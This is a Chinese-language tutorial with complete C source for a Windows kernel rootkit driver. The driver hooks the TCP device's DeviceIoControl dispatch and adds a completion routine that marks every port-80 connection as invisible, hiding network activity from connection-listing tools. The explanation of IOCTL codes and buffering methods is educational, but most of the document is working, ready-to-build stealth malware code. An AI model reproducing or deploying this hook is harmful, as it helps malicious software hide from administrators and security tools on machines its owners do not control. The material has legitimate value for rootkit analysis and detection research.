驱动程序的入口很简单,仅仅设置好相应的Unload函数,并调用Hook函数。
PFILE_OBJECT pFile_tcp;PDEVICE_OBJECT pDev_tcp;
PDRIVER_OBJECT pDrv_tcpip;
NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ) { NTSTATUS ntStatus; OldIrpMjDeviceControl = NULL; DriverObject->DriverUnload = RootkitUnload; ntStatus = InstallTCPDriverHook(); if(!NT_SUCCESS(ntStatus)) return ntStatus; return STATUS_SUCCESS; }
在Hook函数当中,首先利用系统的IoGetDeviceObjectPointer得到设备堆栈的顶层对象,这里传入的对象名称是"\\Device\\Tcp",也就是得到TCP的顶层对象。然后,利用设备对象获得相应的驱动的对象。并通过驱动对象得到相应的驱动调用函数,保存好DEVICE_CONTROL函数,并将我们的处理函数赋值给驱动对象中相应的处理函数。
typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP); OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl; NTSTATUS InstallTCPDriverHook() { NTSTATUS ntStatus; UNICODE_STRING deviceTCPUnicodeString; WCHAR deviceTCPNameBuffer[] = L"\\Device\\Tcp"; pFile_tcp = NULL; pDev_tcp = NULL; pDrv_tcpip = NULL; RtlInitUnicodeString (&deviceTCPUnicodeString, deviceTCPNameBuffer); ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString, FILE_READ_DATA, &pFile_tcp, &pDev_tcp); if(!NT_SUCCESS(ntStatus)) return ntStatus; pDrv_tcpip = pDev_tcp->DriverObject; OldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL]; if (OldIrpMjDeviceControl) InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)HookedDeviceControl); return STATUS_SUCCESS; }
在Hook函数当中,首先利用IoGetCurrentIrpStackLocation得到相应的IO_STACK_LOCATION,这里的irp实际上是通过以系列的系统调用传递下来的。其中IO_STACK_LOCATION在wmd.h当中定义,IO_STACK_LOCATION结构体当中包含一个联合体Parameters,这个联合体的解释是由IO_STACK_LOCATION当中的MajorFunction决定的。当MajorFunction的值是IRP_MJ_DEVICE_CONTROL的时候,parameters被解释为struct DeviceIoControl。这个结构体通过IoControlCode表明想要进行的操作,而可能通过Type3InputBuffer传递输入缓存,最开始两个数据则表明输入和输出的长度。在看函数之前,我们需要解释一下操作码IoControlCode的组成,以及内核空间和用户空间交换内存的三种方式。
整个IoControlCode有四个部分组成。最开始的16个位是设备的类型,接下来的两个位则是表示设备的访问权限而接下来的12个位则表明IoControl的功能号,最后面的两个位则是缓冲方式。
缓冲方式总共有三种:
第一种是Buffered方式,这种方式有一个复制过程,输入输出都经过相应的IRP当中的地址pIrp->AssociatedIrp.SystemBuffer缓存,由于分配的内存是费换页内存,所以不存在缺页中断的现象。
第二种方式是Direct方式,I/O管理器将创建一个MDL用于描述包含该用户模式数据缓存区的锁定内存页,这样也就不会有缺页中断。
第三种是Neither方式,这种情况下,I/O管理器简单地将虚拟地址嗯哼字节技术交给我们,其余的由我们自己决定,这种方式最高效但是安全性需要程序员自己处理。
到这里,整个函数的流程基本清晰了。首先得到输入缓存指针,并将这个指针转换为我们所需要的结构体,验证查询的方式,利用IO_STACK_LOCATION中的相应成员变量context将相应的参数传递给我们的函数处理,不过在传递之前需要设置相应的属性。同时在最后调用系统本身的的DeviceControl函数,由这个函数将控制权转入到我们的IoCompletionRoutine函数。
#define CO_TL_ENTITY 0x400 #define CL_TL_ENTITY 0x401 #define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003 //* Structure of an entity ID. typedef struct TDIEntityID { ulong tei_entity; ulong tei_instance; } TDIEntityID; //* Structure of an object ID. typedef struct TDIObjectID { TDIEntityID toi_entity; ulong toi_class; ulong toi_type; ulong toi_id; } TDIObjectID; NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT, IN PIRP, IN PVOID); struct { ULONG OutputBufferLength; ULONG POINTER_ALIGNMENT InputBufferLength; ULONG POINTER_ALIGNMENT IoControlCode; PVOID Type3InputBuffer; } DeviceIoControl; NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { PIO_STACK_LOCATION irpStack; ULONG ioTransferType; TDIObjectID *inputBuffer; DWORD context; irpStack = IoGetCurrentIrpStackLocation (Irp); switch (irpStack->MajorFunction) { case IRP_MJ_DEVICE_CONTROL: if ((irpStack->MinorFunction == 0) && \ (irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_QUERY_INFORMATION_EX)) { ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode; ioTransferType &= 3; if (ioTransferType == METHOD_NEITHER) { inputBuffer = (TDIObjectID *) irpStack->Parameters.DeviceIoControl.Type3InputBuffer; if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY) { if ((inputBuffer->toi_id == 0x101) || (inputBuffer->toi_id == 0x102) || (inputBuffer->toi_id == 0x110)) { irpStack->Control = 0; irpStack->Control |= SL_INVOKE_ON_SUCCESS; irpStack->Context = (PIO_COMPLETION_ROUTINE) ExAllocatePool(NonPagedPool, sizeof(REQINFO)); ((PREQINFO)irpStack->Context)->OldCompletion = irpStack->CompletionRoutine; ((PREQINFO)irpStack->Context)->ReqType = inputBuffer->toi_id; irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)IoCompletionRoutine; } } } } break; default: break; } return OldIrpMjDeviceControl(DeviceObject, Irp); }
完成函数的实现比较简单,根据IRP当中的IO_STATUS_BLOCK成员变量的相应信息,将得到的数据全部改变为不可见,这样就隐藏了我们的联网进程。由于在上面设置了IO_STACK_LOCATION的Control成员变量,这里的stackcount不会归0,所以会调用默认的的完成调用函数,从而达到过滤的效果。
typedef struct _CONNINFO101 { unsigned long status; unsigned long src_addr; unsigned short src_port; unsigned short unk1; unsigned long dst_addr; unsigned short dst_port; unsigned short unk2; } CONNINFO101, *PCONNINFO101; typedef struct _CONNINFO102 { unsigned long status; unsigned long src_addr; unsigned short src_port; unsigned short unk1; unsigned long dst_addr; unsigned short dst_port; unsigned short unk2; unsigned long pid; } CONNINFO102, *PCONNINFO102; typedef struct _CONNINFO110 { unsigned long size; unsigned long status; unsigned long src_addr; unsigned short src_port; unsigned short unk1; unsigned long dst_addr; unsigned short dst_port; unsigned short unk2; unsigned long pid; PVOID unk3[35]; } CONNINFO110, *PCONNINFO110; NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context) { PVOID OutputBuffer; DWORD NumOutputBuffers; PIO_COMPLETION_ROUTINE p_compRoutine; DWORD i; // Connection status values: // 0 = Invisible // 1 = CLOSED // 2 = LISTENING // 3 = SYN_SENT // 4 = SYN_RECEIVED // 5 = ESTABLISHED // 6 = FIN_WAIT_1 // 7 = FIN_WAIT_2 // 8 = CLOSE_WAIT // 9 = CLOSING // ... OutputBuffer = Irp->UserBuffer; p_compRoutine = ((PREQINFO)Context)->OldCompletion; if (((PREQINFO)Context)->ReqType == 0x101) { NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO101); for(i = 0; i < NumOutputBuffers; i++) { // Hide all Web connections if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 80) ((PCONNINFO101)OutputBuffer)[i].status = 0; } } else if (((PREQINFO)Context)->ReqType == 0x102) { NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO102); for(i = 0; i < NumOutputBuffers; i++) { // Hide all Web connections if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 80) ((PCONNINFO102)OutputBuffer)[i].status = 0; } } else if (((PREQINFO)Context)->ReqType == 0x110) { NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO110); for(i = 0; i < NumOutputBuffers; i++) { // Hide all Web connections if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 80) ((PCONNINFO110)OutputBuffer)[i].status = 0; } } ExFreePool(Context); /* for(i = 0; i < NumOutputBuffers; i++) { DbgPrint("Status: %d",OutputBuffer[i].status); DbgPrint(" %d.%d.%d.%d:%d",OutputBuffer[i].src_addr & 0xff,OutputBuffer[i].src_addr >> 8 & 0xff, OutputBuffer[i].src_addr >> 16 & 0xff,OutputBuffer[i].src_addr >> 24,HTONS(OutputBuffer[i].src_port)); DbgPrint(" %d.%d.%d.%d:%d\n",OutputBuffer[i].dst_addr & 0xff,OutputBuffer[i].dst_addr >> 8 & 0xff, OutputBuffer[i].dst_addr >> 16 & 0xff,OutputBuffer[i].dst_addr >> 24,HTONS(OutputBuffer[i].dst_port)); }*/ if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL)) { return (p_compRoutine)(DeviceObject, Irp, NULL); } else { return Irp->IoStatus.Status; } }